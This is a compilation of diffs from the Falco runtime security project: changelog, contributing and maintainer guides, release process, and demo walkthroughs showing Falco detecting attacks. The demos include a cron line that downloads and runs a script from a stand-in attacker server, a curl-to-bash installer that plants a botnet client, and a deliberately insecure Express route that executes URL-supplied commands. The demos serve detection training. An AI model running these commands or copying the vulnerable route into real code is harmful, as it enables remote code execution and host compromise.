Understanding what is running on production servers, and the context around why things are running is even more tricky now that we have further abstractions like Docker and Kubernetes. To get this needed visibility into our system, we rely on Falco. Falco's ability to collect raw system calls such as open, connect, exec, along with their arguments offer key insights on what is happening on the production system and became the foundation of our intrusion detection and alerting system.

GitLab Ultimate provides the single tool teams need to find, triage, and fix vulnerabilities in applications, services, and cloud-native environments enabling them to manage their risk. This provides them with repeatable, defensible processes that automate security and compliance policies. GitLab includes a tight integration with Falco, allowing users to defend their containerized applications from attacks while running in production.

We empower engineers to deliver better software by offering the world's most popular open source observability tools — the ELK Stack, Grafana, and Jaeger — in a single, easy to use, and powerful platform purpose-built for monitoring distributed cloud environments. Cloud SIEM supports data from multiple sources, including Falco's alerts, and offers useful rules and dashboards content to visualize and manage incidents across your systems in a unified UI.

+Released on 2020-05-18
+
+### Major Changes
+
+* BREAKING CHANGE: the falco-driver-loader script now references `falco-probe.o` and `falco-probe.ko` as `falco.o` and `falco.ko` [[#1158](https://github.com/falcosecurity/falco/pull/1158)]
+* BREAKING CHANGE: the `falco-driver-loader` script environment variable to use a custom repository to download drivers now uses the `DRIVERS_REPO` environment variable instead of `DRIVER_LOOKUP_URL`. This variable must contain the parent URI containing the following directory structure `/$driver_version$/falco_$target$_$kernelrelease$_$kernelversion$.[ko|o]`. e.g: [[#1160](https://github.com/falcosecurity/falco/pull/1160)]
+* new(scripts): options and command-line usage for `falco-driver-loader` [[#1200](https://github.com/falcosecurity/falco/pull/1200)]
+* new: ability to specify exact matches when adding rules to Falco engine (only API) [[#1185](https://github.com/falcosecurity/falco/pull/1185)]
+* new(docker): add an image that wraps the `falco-driver-loader` with the toolchain [[#1192](https://github.com/falcosecurity/falco/pull/1192)]
+* new(docker): add `falcosecurity/falco-no-driver` image [[#1205](https://github.com/falcosecurity/falco/pull/1205)]
+
+
+### Minor Changes
+
+* update(scripts): improve `falco-driver-loader` output messages [[#1200](https://github.com/falcosecurity/falco/pull/1200)]
+* update: containers look for prebuilt drivers on the Drivers Build Grid [[#1158](https://github.com/falcosecurity/falco/pull/1158)]
+* update: driver version bump to 96bd9bc560f67742738eb7255aeb4d03046b8045 [[#1190](https://github.com/falcosecurity/falco/pull/1190)]
+* update(docker): now `falcosecurity/falco:slim-*` alias to `falcosecurity/falco-no-driver:*` [[#1205](https://github.com/falcosecurity/falco/pull/1205)]
+* docs: instructions to run unit tests [[#1199](https://github.com/falcosecurity/falco/pull/1199)]
+* docs(examples): move `/examples` to `contrib` repo [[#1191](https://github.com/falcosecurity/falco/pull/1191)]
+* update(docker): remove `minimal` image [[#1196](https://github.com/falcosecurity/falco/pull/1196)]
+* update(integration): move `/integrations` to `contrib` repo [[#1157](https://github.com/falcosecurity/falco/pull/1157)]
+* https://dl.bintray.com/driver/$driver_version$/falco_$target$_$kernelrelease$_$kernelversion$.[ko|o]` [[#1160](https://github.com/falcosecurity/falco/pull/1160)]
+* update(docker/event-generator): remove the event-generator from Falco repository [[#1156](https://github.com/falcosecurity/falco/pull/1156)]
+* docs(examples): set audit level to metadata for object secrets [[#1153](https://github.com/falcosecurity/falco/pull/1153)]
+
+
+### Bug Fixes
+
+* fix(scripts): upstream files (prebuilt drivers) for the generic Ubuntu kernel contains "ubuntu-generic" [[#1212](https://github.com/falcosecurity/falco/pull/1212)]
+* fix: support Falco driver on Linux kernels 5.6.y [[#1174](https://github.com/falcosecurity/falco/pull/1174)]
+
+
+### Rule Changes
+
+* rule(Redirect STDOUT/STDIN to Network Connection in Container): correct rule name as per rules naming convention [[#1164](https://github.com/falcosecurity/falco/pull/1164)]
+* rule(Redirect STDOUT/STDIN to Network Connection in Container): new rule to detect Redirect stdout/stdin to network connection in container [[#1152](https://github.com/falcosecurity/falco/pull/1152)]
+* rule(K8s Secret Created): new rule to track the creation of Kubernetes secrets (excluding kube-system and service account secrets) [[#1151](https://github.com/falcosecurity/falco/pull/1151)]
+* rule(K8s Secret Deleted): new rule to track the deletion of Kubernetes secrets (excluding kube-system and service account secrets) [[#1151](https://github.com/falcosecurity/falco/pull/1151)]

-## Code of Conduct
-
-Falco has a
-[Code of Conduct](CODE_OF_CONDUCT.md)
-to which all contributors must adhere, please read it before interacting with the repository or the community in any way.
-
-## Issues
-
-Issues are the heartbeat ❤️ of the Falco project, there are mainly three kinds of issues you can open:
-
-- Bug report: you believe you found a problem in Falco and you want to discuss and get it fixed,
-creating an issue with the **bug report template** is the best way to do so.
-- Enhancement: any kind of new feature need to be discussed in this kind of issue, do you want a new rule or a new feature? This is the kind of issue you want to open. Be very good at explaining your intent, it's always important that others can understand what you mean in order to discuss, be open and collaborative in letting others help you getting this done!
-- Failing tests: you noticed a flaky test or a problem with a build? This is the kind of issue to triage that!
-
-The best way to get **involved** in the project is through issues, you can help in many ways:
-
-- Issues triaging: participating in the discussion and adding details to open issues is always a good thing,
-sometimes issues need to be verified, you could be the one writing a test case to fix a bug!
-- Helping to resolve the issue: you can help in getting it fixed in many ways, more often by opening a pull request.
-
-### Triage issues
-
-We need help in categorizing issues. Thus any help is welcome!
-
-When you triage an issue, you:
-
-* assess whether it has merit or not
-
-* quickly close it by correctly answering a question
-
-* point the reporter to a resource or documentation answering the issue
-
-* tag it via labels, projects, or milestones
-
-* take ownership submitting a PR for it, in case you want 😇
-
-#### More about labels
-
-These guidelines are not set in stone and are subject to change.
-
-Anyway a `kind/*` label for any issue is mandatory.
-
-This is the current [label set](https://github.com/falcosecurity/falco/labels) we have.
-
-You can use commands - eg., `/label <some-label>` to add (or remove) labels or manually do it.
-
-The commands available are the following ones:
-
-```
-/[remove-](area|kind|priority|triage|label)
-```
-
-Some examples:
-
-* `/area rules`
-* `/remove-area rules`
-* `/kind kernel-module`
-* `/label good-first-issue`
-* `/triage duplicate`
-* `/triage unresolved`
-* `/triage not-reproducible`
-* `/triage support`
-* ...
-
-### Slack
-
-Other discussion, and **support requests** should go through the `#falco` channel in the open source slack, please join [here](https://slack.sysdig.com).
-
-## Pull Requests
-
-Thanks for taking time to make a [pull request](https://help.github.com/articles/about-pull-requests) (hereafter PR).
-
-In the PR body, feel free to add an area label if appropriate by typing `/area <AREA>`, PRs will also
-need a kind, make sure to specify the appropriate one by typing `/kind <KIND>`.
-
-The list of labels is [here](https://github.com/falcosecurity/falco/labels).
-
-Also feel free to suggest a reviewer with `/cc @theirname`, or to assign an assignee using `/assign @nickname`.
-
-Once your reviewer is happy, they will say `/lgtm` which will apply the
-`lgtm` label, and will apply the `approved` label if they are an
-[owner](/OWNERS).
-
-Your PR will be automatically merged once it has the `lgtm` and `approved`
-labels, does not have any `do-not-merge/*` labels, and all status checks (eg., rebase, tests, DCO) are positive.
-
-### Commit convention
-
-As commit convention, we adopt [Conventional Commits v1.0.0](https://www.conventionalcommits.org/en/v1.0.0/), we have an history
-of commits that do not adopt the convention but any new commit must follow it to be eligible for merge.
-
-#### Rule type
-
-Besides the classic types, we adopt a type for rules, `rule(<scope>):`.
-Example:
-
-```
-rule(Write below monitored dir): make sure monitored dirs are monitored.
-```
-
-Each rule change must be on its own commit, if a change to a macro is done while changing a rule they can go together but only one rule per commit must happen.
-
-If you are changing only a macro, the commit will look like this:
-
-```
-rule(macro user_known_write_monitored_dir_conditions): make sure conditions are great
-```
-
-## Coding Guidelines
-
-### C++
-
-* File `userspace/engine/banned.h` defines some functions as invalid tokens. These functions are not allowed to be used in the codebase. Whenever creating a new cpp file, include the `"banned.h"` headers. This ensures that the banned functions are not compiled.
-
-  A complete list of banned functions can be found [here](./userspace/engine/banned.h).
-
-## Developer Certificate Of Origin
-
-The [Developer Certificate of Origin (DCO)](https://developercertificate.org/) is a lightweight way for contributors to certify that they wrote or otherwise have the right to submit the code they are contributing to the project.
-
-Contributors to the Falco project sign-off that they adhere to these requirements by adding a `Signed-off-by` line to commit messages.
-
-```
-This is my commit message
-
-Signed-off-by: John Poiana <jpoiana@falco.org>
-```
-
-Git even has a `-s` command line option to append this automatically to your commit message:
-
-```
-$ git commit -s -m 'This is my commit message'
-```

-# Process for becoming a maintainer
-
-* Express interest to the existing maintainers that you or your organization is interested in becoming a
-  maintainer. Becoming a maintainer generally means that you are going to be spending substantial
-  time (>25%) on Falco for the foreseeable future. You should have domain expertise and be extremely
-  proficient in C++. Ultimately your goal is to become a maintainer that will represent your
-  organization.
-* We will expect you to start contributing increasingly complicated PRs, under the guidance
-  of the existing maintainers.
-* We may ask you to do some PRs from our backlog.
-* As you gain experience with the code base and our standards, we will ask you to do code reviews
-  for incoming PRs (i.e., all maintainers are expected to shoulder a proportional share of
-  community reviews).
-* After a period of approximately 2-3 months of working together and making sure we see eye to eye,
-  the existing maintainers will confer and decide whether to grant maintainer status or not.
-  We make no guarantees on the length of time this will take, but 2-3 months is the approximate
-  goal.
-
-## Maintainer responsibilities
-
-* Monitor Slack (delayed response is perfectly acceptable).
-* Triage GitHub issues and perform pull request reviews for other maintainers and the community.
-* During GitHub issue triage, apply all applicable [labels](https://github.com/falcosecurity/falco/labels)
-  to each new issue. Labels are extremely useful for future issue follow up. Which labels to apply
-  is somewhat subjective so just use your best judgment.
-* Make sure that ongoing PRs are moving forward at the right pace or closing them.
-* Participate when called upon in the security releases. Note that although this should be a rare
-  occurrence, if a serious vulnerability is found, the process may take up to several full days of
-  work to implement. This reality should be taken into account when discussing time commitment
-  obligations with employers.
-* In general continue to be willing to spend at least 25% of ones time working on Falco (~1.25
-  business days per week).

-## When does a maintainer lose maintainer status

-If a maintainer is no longer interested or cannot perform the maintainer duties listed above, they
-should volunteer to be moved to emeritus status. In extreme cases this can also occur by a vote of
-the maintainers per the voting process below.
-
-# Conflict resolution and voting
-
-In general, we prefer that technical issues and maintainer membership are amicably worked out
-between the persons involved. If a dispute cannot be decided independently, the maintainers can be
-called in to decide an issue. If the maintainers themselves cannot decide an issue, the issue will
-be resolved by voting. The voting process is a simple majority in which each senior maintainer
-receives two votes and each normal maintainer receives one vote.
-
-# Adding new projects to the falcosecurity GitHub organization
-
-New projects will be added to the falcosecurity organization via GitHub issue discussion in one of the
-existing projects in the organization. Once sufficient discussion has taken place (~3-5 business
-days but depending on the volume of conversation), the maintainers of *the project where the issue
-was opened* (since different projects in the organization may have different maintainers) will
-decide whether the new project should be added. See the section above on voting if the maintainers
-cannot easily decide.

-Falco is a behavioral activity monitor designed to detect anomalous activity in your applications. Falco audits a system at the most fundamental level, the kernel. Falco then enriches this data with other input streams such as container runtime metrics, and Kubernetes metrics. Falco lets you continuously monitor and detect container, application, host, and network activity—all in one place—from one source of data, with one set of rules.
+The Falco Project, originally created by [Sysdig](https://sysdig.com), is an incubating [CNCF](https://cncf.io) open source cloud native runtime security tool.
+Falco makes it easy to consume kernel events, and enrich those events with information from Kubernetes and the rest of the cloud native stack.
+Falco has a rich set of security rules specifically built for Kubernetes, Linux, and cloud-native.
+If a rule is violated in a system, Falco will send an alert notifying the user of the violation and its severity.
 
-Falco is hosted by the Cloud Native Computing Foundation (CNCF) as a sandbox level project. If you are an organization that wants to help shape the evolution of technologies that are container-packaged, dynamically-scheduled and microservices-oriented, consider joining the CNCF. For details read the [Falco CNCF project proposal](https://github.com/cncf/toc/tree/master/proposals/falco.adoc).
+### Installing Falco
 
-#### What kind of behaviors can Falco detect?
+If you would like to run Falco in **production** please adhere to the [official installation guide](https://falco.org/docs/getting-started/installation/).
 
-Falco can detect and alert on any behavior that involves making Linux system calls. Falco alerts can be triggered by the use of specific system calls, their arguments, and by properties of the calling process. For example, Falco can easily detect incidents including but not limited to:
+##### Kubernetes

+
+### Developing
+
+Falco is designed to be extensible such that it can be built into cloud-native applications and infrastructure.
+
+Falco has a [gRPC](https://falco.org/docs/grpc/) endpoint and an API defined in [protobuf](https://github.com/falcosecurity/falco/blob/master/userspace/falco/outputs.proto).
+The Falco Project supports various SDKs for this endpoint.

+### What can Falco detect?
+
+Falco can detect and alert on any behavior that involves making Linux system calls.
+Falco alerts can be triggered by the use of specific system calls, their arguments, and by properties of the calling process.
+For example, Falco can easily detect incidents including but not limited to:
+
+- A shell is running inside a container or pod in Kubernetes.
 - A container is running in privileged mode, or is mounting a sensitive path, such as `/proc`, from the host.
 - A server process is spawning a child process of an unexpected type.
 - Unexpected read of a sensitive file, such as `/etc/shadow`.
 - A non-device file is written to `/dev`.
 - A standard system binary, such as `ls`, is making an outbound network connection.
+- A privileged pod is started in a Kubernetes cluster.
 
+### Documentation
 
-### Installing Falco
+The [Official Documentation](https://falco.org/docs/) is the best resource to learn about Falco.
 
-You can find the latest release downloads on the official [release archive](https://bintray.com/falcosecurity)
-
-Furthermore the comprehensive [installation guide](https://falco.org/docs/installation/) for Falco is available in the documentation website.
-
-#### How do you compare Falco with other security tools?
-
-One of the questions we often get when we talk about Falco is “How does Falco differ from other Linux security tools such as SELinux, AppArmor, Auditd, etc.?”. We wrote a [blog post](https://sysdig.com/blog/selinux-seccomp-falco-technical-discussion/) comparing Falco with other tools.

+# Falco Release Process
+
+Our release process is mostly automated, but we still need some manual steps to initiate and complete it.
+
+Changes and new features are grouped in [milestones](https://github.com/falcosecurity/falco/milestones), the milestone with the next version represents what is going to be released.
+
+A release happens every two months ([as per community discussion](https://github.com/falcosecurity/community/blob/master/meeting-notes/2020-09-30.md#agenda)), and we need to assign owners for each (usually we pair a new person with an experienced one). Assignees and the due date are proposed during the [weekly community call](https://github.com/falcosecurity/community). Note that hotfix releases can happen as soon as it is needed.
+
+Finally, on the proposed due date the assignees for the upcoming release proceed with the processes described below.
+
+## Pre-Release Checklist
+
+Before cutting a release we need to do some homework in the Falco repository. This should take 5 minutes using the GitHub UI.
+
+### 1. Release notes
+- Find the LAST release (-1) and use `YYYY-MM-DD` as the day before of the [latest release](https://github.com/falcosecurity/falco/releases)
+- Check the release note block of every PR matching the `is:pr is:merged closed:>YYYY-MM-DD` [filter](https://github.com/falcosecurity/falco/pulls?q=is%3Apr+is%3Amerged+closed%3A%3EYYYY-MM-DD)
+    - Ensure the release note block follows the [commit convention](https://github.com/falcosecurity/falco/blob/master/CONTRIBUTING.md#commit-convention), otherwise fix its content
+    - If the PR has no milestone, assign it to the milestone currently undergoing release
+- Check issues without a milestone (using [is:pr is:merged no:milestone closed:>YYYY-MM-DD](https://github.com/falcosecurity/falco/pulls?q=is%3Apr+is%3Amerged+no%3Amilestone+closed%3A%3EYYYY-MM-DD) filter) and add them to the milestone currently undergoing release
+- Double-check that there are no more merged PRs without the target milestone assigned with the `is:pr is:merged no:milestone closed:>YYYY-MM-DD` [filters](https://github.com/falcosecurity/falco/pulls?q=is%3Apr+is%3Amerged+no%3Amilestone+closed%3A%3EYYYY-MM-DD), if any, fix them
+
+### 2. Milestones
+
+- Move the [tasks not completed](https://github.com/falcosecurity/falco/pulls?q=is%3Apr+is%3Aopen) to a new minor milestone
+
+### 3. Release PR
+
+- Double-check if any hard-coded version number is present in the code, it should be not present anywhere:
+    - If any, manually correct it then open an issue to automate version number bumping later
+    - Versions table in the `README.md` updates itself automatically
+- Generate the change log https://github.com/leodido/rn2md:
+    - If you review timeout errors with `rn2md` try to generate an GitHub Oauth access token and use `-t`
+- Add the latest changes on top the previous `CHANGELOG.md`
+- Submit a PR with the above modifications
+- Await PR approval
+- Close the completed milestone as soon as the PR is merged
+
+## Release
+
+Now assume `x.y.z` is the new version.
+
+### 1. Create a tag
+
+- Once the release PR has got merged, and the CI has done its job on the master, git tag the new release
+
+    ```
+    git pull
+    git checkout master
+    git tag x.y.z
+    git push origin x.y.z
+    ```
+
+> **N.B.**: do NOT use an annotated tag
+
+- Wait for the CI to complete
+
+### 2. Update the GitHub release
+
+- [Draft a new release](https://github.com/falcosecurity/falco/releases/new)
+- Use `x.y.z` both as tag version and release title
+- Use the following template to fill the release description:
+    ```
+    <!-- Substitute x.y.z with the current release version -->
+

+
+- Finally, publish the release!
+
+### 3. Update the meeting notes

+ - Add the entire content of the document to a new file in [github.com/falcosecurity/community/tree/master/meeting-notes](https://github.com/falcosecurity/community/tree/master/meeting-notes) as a new file labeled `release-x.y.z.md`
+ - Open up a pull request with the new change.
+
+
+## Post-Release tasks
+
+Announce the new release to the world!
+
+- Send an announcement to cncf-falco-dev@lists.cncf.io (plain text, please)

-# Demo of Falco Detecting Cryptomining Exploit
-
-## Introduction
-
-Based on a [blog post](https://sysdig.com/blog/detecting-cryptojacking/) we wrote, this example shows how an overly permissive container environment can be exploited to install cryptomining software and how use of the exploit can be detected using Falco.
-
-Although the exploit in the blog post involved modifying the cron configuration on the host filesystem, in this example we keep the host filesystem untouched. Instead, we have a container play the role of the "host", and set up everything using [docker-compose](https://docs.docker.com/compose/) and [docker-in-docker](https://hub.docker.com/_/docker/).
-
-## Requirements
-
-In order to run this example, you need Docker Engine >= 1.13.0 and docker-compose >= 1.10.0, as well as curl.
-
-## Example architecture
-
-The example consists of the following:
-
-* `host-machine`: A docker-in-docker instance that plays the role of the host machine. It runs a cron daemon and an independent copy of the docker daemon that listens on port 2375. This port is exposed to the world, and this port is what the attacker will use to install new software on the host.
-* `attacker-server`: A nginx instance that serves the malicious files and scripts using by the attacker.
-* `falco`: A Falco instance to detect the suspicious activity. It connects to the docker daemon on `host-machine` to fetch container information.
-
-All of the above are configured in the docker-compose file [demo.yml](./demo.yml).
-
-A separate container is created to launch the attack:
-
-* `docker123321-mysql` An [alpine](https://hub.docker.com/_/alpine/) container that mounts /etc from `host-machine` into /mnt/etc within the container. The json container description is in the file [docker123321-mysql-container.json](./docker123321-mysql-container.json).
-
-## Example Walkthrough
-
-### Start everything using docker-compose
-
-To make sure you're starting from scratch, first run `docker-compose -f demo.yml down -v` to remove any existing containers, volumes, etc.
-
-Then run `docker-compose -f demo.yml up --build` to create the `host-machine`, `attacker-server`, and `falco` containers.
-
-You will see fairly verbose output from dockerd:
-
-```

-When you see log output like the following, you know that falco is started and ready:
-
-```
-falco_1            | Wed Mar 14 22:37:12 2018: Falco initialized with configuration file /etc/falco/falco.yaml
-falco_1            | Wed Mar 14 22:37:12 2018: Parsed rules from file /etc/falco/falco_rules.yaml
-falco_1            | Wed Mar 14 22:37:12 2018: Parsed rules from file /etc/falco/falco_rules.local.yaml
-```
-
-### Launch malicious container
-
-To launch the malicious container, we will connect to the docker instance running in `host-machine`, which has exposed port 2375 to the world. We create and start a container via direct use of the docker API (although you can do the same via `docker run -H http://localhost:2375 ...`.
-
-The script `launch_malicious_container.sh` performs the necessary POSTs:
-
-* `http://localhost:2375/images/create?fromImage=alpine&tag=latest`
-* `http://localhost:2375/containers/create?&name=docker123321-mysql`
-* `http://localhost:2375/containers/docker123321-mysql/start`
-
-Run the script via `bash launch_malicious_container.sh`.
-
-### Examine cron output as malicious software is installed & run
-
-`docker123321-mysql` writes the following line to `/mnt/etc/crontabs/root`, which corresponds to `/etc/crontabs/root` on the host:
-
-```
-* * * * * curl -s http://attacker-server:8220/logo3.jpg | bash -s
-```
-
-It also touches the file `/mnt/etc/crontabs/cron.update`, which corresponds to `/etc/crontabs/cron/update` on the host, to force cron to re-read its cron configuration. This ensures that every minute, cron will download the script (disguised as [logo3.jpg](attacker_files/logo3.jpg))  from `attacker-server` and run it.
-
-You can see `docker123321-mysql` running by checking the container list for the docker instance running in `host-machine` via `docker -H localhost:2375 ps`. You should see output like the following:
-
-```
-CONTAINER ID        IMAGE               COMMAND                  CREATED              STATUS              PORTS               NAMES

-```
-
-Once the cron job runs, you will see output like the following:
-
-```
-host-machine_1     | crond: USER root pid 187 cmd curl -s http://attacker-server:8220/logo3.jpg | bash -s

-host-machine_1     | runing.....
-```
-
-### Observe Falco detecting malicious activity
-
-To observe Falco detecting the malicious activity, you can look for `falco_1` lines in the output. Falco will detect the container launch with the sensitive mount:
-
-```
-falco_1            | 22:37:24.478583438: Informational Container with sensitive mount started (user=root command=runc:[1:CHILD] init docker123321-mysql (id=97587afcf89c) image=alpine:latest mounts=/etc:/mnt/etc::true:rprivate)
-falco_1            | 22:37:24.479565025: Informational Container with sensitive mount started (user=root command=sh -c echo '* * * * * curl -s http://attacker-server:8220/logo3.jpg | bash -s' >> /mnt/etc/crontabs/root && sleep 300 docker123321-mysql (id=97587afcf89c) image=alpine:latest mounts=/etc:/mnt/etc::true:rprivate)
-```
-
-### Cleanup
-
-To tear down the environment, stop the script using ctrl-C and remove everything using `docker-compose -f demo.yml down -v`.

-## Instructions for Kubernetes 1.11
-
-The main steps are:
-
-1. Deploy Falco to your Kubernetes cluster
-1. Define your audit policy and webhook configuration
-1. Restart the API Server to enable Audit Logging
-1. Observe Kubernetes audit events at falco
-
-### Deploy Falco to your Kubernetes cluster
-
-Follow the [Kubernetes Using Daemonset](../../integrations/k8s-using-daemonset/README.md) instructions to create a falco service account, service, configmap, and daemonset.
-
-### Define your audit policy and webhook configuration
-
-The files in this directory can be used to configure Kubernetes audit logging. The relevant files are:
-
-* [audit-policy.yaml](./audit-policy.yaml): The Kubernetes audit log configuration we used to create the rules in [k8s_audit_rules.yaml](../../rules/k8s_audit_rules.yaml).
-* [webhook-config.yaml.in](./webhook-config.yaml.in): A (templated) webhook configuration that sends audit events to an ip associated with the falco service, port 8765. It is templated in that the *actual* IP is defined in an environment variable `FALCO_SERVICE_CLUSTERIP`, which can be plugged in using a program like `envsubst`.
-
-Run the following to fill in the template file with the `ClusterIP` IP address you created with the `falco-service` service above. Although services like `falco-service.default.svc.cluster.local` can not be resolved from the kube-apiserver container within the minikube vm (they're run as pods but not *really* a part of the cluster), the `ClusterIP`s associated with those services are routable.
-
-```
-FALCO_SERVICE_CLUSTERIP=$(kubectl get service falco-service -o=jsonpath={.spec.clusterIP}) envsubst < webhook-config.yaml.in > webhook-config.yaml
-```
-
-### Restart the API Server to enable Audit Logging
-
-A script [enable-k8s-audit.sh](./enable-k8s-audit.sh) performs the necessary steps of enabling audit log support for the apiserver, including copying the audit policy/webhook files to the apiserver machine, modifying the apiserver command line to add `--audit-log-path`, `--audit-policy-file`, etc. arguments, etc. (For minikube, ideally you'd be able to pass all these options directly on the `minikube start` command line, but manual patching is necessary. See [this issue](https://github.com/kubernetes/minikube/issues/2741) for more details.)
-
-It is run as `bash ./enable-k8s-audit.sh <variant> static`. `<variant>` can be one of the following:
-
-* `minikube`
-* `kops`
-
-When running with `variant` equal to `kops`, you must either modify the script to specify the kops apiserver hostname or set it via the environment: `APISERVER_HOST=api.my-kops-cluster.com bash ./enable-k8s-audit.sh kops`
-
-Its output looks like this:
-
-```

-
-## Instructions for Kubernetes 1.13
-
-The main steps are:

-
-### Deploy AuditSink objects
-
-[audit-sink.yaml.in](./audit-sink.yaml.in), in this directory, is a template audit sink configuration that defines the dynamic audit policy and webhook to route Kubernetes audit events to Falco.
-
-Run the following to fill in the template file with the `ClusterIP` IP address you created with the `falco-service` service above. Although services like `falco-service.default.svc.cluster.local` can not be resolved from the kube-apiserver container within the minikube vm (they're run as pods but not *really* a part of the cluster), the ClusterIPs associated with those services are routable.

-
-Kubernetes audit events will then be routed to the falco daemonset within the cluster, which you can observe via `kubectl logs -f $(kubectl get pods -l app=falco-example -o jsonpath={.items[0].metadata.name})`.
-
-## Instructions for Kubernetes 1.13 with dynamic webhook and local log file
-
-If you want to use a mix of `AuditSink` for remote audit events as well as a local audit log file, you can run `enable-k8s-audit.sh` with the `"dynamic+log"` argument e.g. `bash ./enable-k8s-audit.sh <variant> dynamic+log`. This will enable dynamic audit logs as well as a static audit log to a local file. Its output looks like this:

-# Demo of falco with man-in-the-middle attacks on installation scripts
-
-For context, see the corresponding [blog post](http://sysdig.com/blog/making-curl-to-bash-safer) for this demo.
-
-## Demo architecture
-
-### Initial setup
-
-Make sure no prior `botnet_client.py` processes are lying around.
-
-### Start everything using docker-compose
-
-From this directory, run the following:
-
-```
-$ docker-compose -f demo.yml up
-```
-
-This starts the following containers:
-* apache: the legitimate web server, serving files from `.../mitm-sh-installer/web_root`, specifically the file `install-software.sh`.
-* nginx: the reverse proxy, configured with the config file `.../mitm-sh-installer/nginx.conf`.
-* evil_apache: the "evil" web server, serving files from `.../mitm-sh-installer/evil_web_root`, specifically the file `botnet_client.py`.
-* attacker_botnet_master: constantly trying to contact the botnet_client.py process.
-* falco: will detect the activities of botnet_client.py.
-
-### Download `install-software.sh`, see botnet client running
-
-Run the following to fetch and execute the installation script,
-which also installs the botnet client:
-
-```
-$ curl http://localhost/install-software.sh | bash
-```
-
-You'll see messages about installing the software. (The script doesn't actually install anything, the messages are just for demonstration purposes).
-
-Now look for all python processes and you'll see the botnet client running. You can also telnet to port 1234:
-
-```
-$ ps auxww  | grep python
-...
-root   19983  0.1  0.4  33992  8832 pts/1    S    13:34   0:00 python ./botnet_client.py
-
-$ telnet localhost 1234
-Trying ::1...
-Trying 127.0.0.1...
-Connected to localhost.
-Escape character is '^]'.
-```
-
-You'll also see messages in the docker-compose output showing that attacker_botnet_master can reach the client:
-
-```
-attacker_botnet_master | Trying to contact compromised machine...
-attacker_botnet_master | Waiting for botnet command and control commands...
-attacker_botnet_master | Ok, will execute "ddos target=10.2.4.5 duration=3000s rate=5000 m/sec"
-attacker_botnet_master | **********Contacted compromised machine, sent botnet commands
-```
-
-At this point, kill the botnet_client.py process to clean things up.
-
-### Run installation script again using `fbash`, note falco warnings.
-
-If you run the installation script again:
-
-```
-curl http://localhost/install-software.sh | ./fbash
-```
-
-In the docker-compose output, you'll see the following falco warnings:
-
-```
-falco                  | 23:19:56.528652447: Warning Outbound connection on non-http(s) port by a process in a fbash session (command=curl -so ./botnet_client.py http://localhost:9090/botnet_client.py connection=127.0.0.1:43639->127.0.0.1:9090)

-# Demo of falco with bash exec via poorly designed REST API.
-
-## Introduction
-
-This example shows how a server could have a poorly designed API that
-allowed a client to execute arbitrary programs on the server, and how
-that behavior can be detected using Sysdig Falco.
-
-`server.js` in this directory defines the server. The poorly designed
-API is this route handler:
-
-```javascript
-router.get('/exec/:cmd', function(req, res) {
-    var output = child_process.execSync(req.params.cmd);
-    res.send(output);
-});
-
-app.use('/api', router);
-```
-
-It blindly takes the url portion after `/api/exec/<cmd>` and tries to
-execute it. A horrible design choice(!), but allows us to easily show
-Sysdig falco's capabilities.
-
-## Demo architecture
-
-### Start everything using docker-compose
-
-From this directory, run the following:
-
-```
-$ docker-compose -f demo.yml up
-```
-
-This starts the following containers:
-
-* express_server: simple express server exposing a REST API under the endpoint `/api/exec/<cmd>`.
-* falco: will detect when you execute a shell via the express server.
-
-### Access urls under `/api/exec/<cmd>` to run arbitrary commands.
-
-Run the following commands to execute arbitrary commands like 'ls', 'pwd', etc:
-
-```
-$ curl http://localhost:8181/api/exec/ls
-
-demo.yml
-node_modules
-package.json
-README.md
-server.js
-```
-
-```
-$ curl http://localhost:8181/api/exec/pwd
-
-.../examples/nodejs-bad-rest-api
-```
-
-### Try to run bash via `/api/exec/bash`, falco sends alert.
-
-If you try to run bash via `/api/exec/bash`, falco will generate an alert:
-
-```
-falco          | 22:26:53.536628076: Warning Shell spawned in a container other than entrypoint (user=root container_id=6f339b8aeb0a container_name=express_server shell=bash parent=sh cmdline=bash )
-```
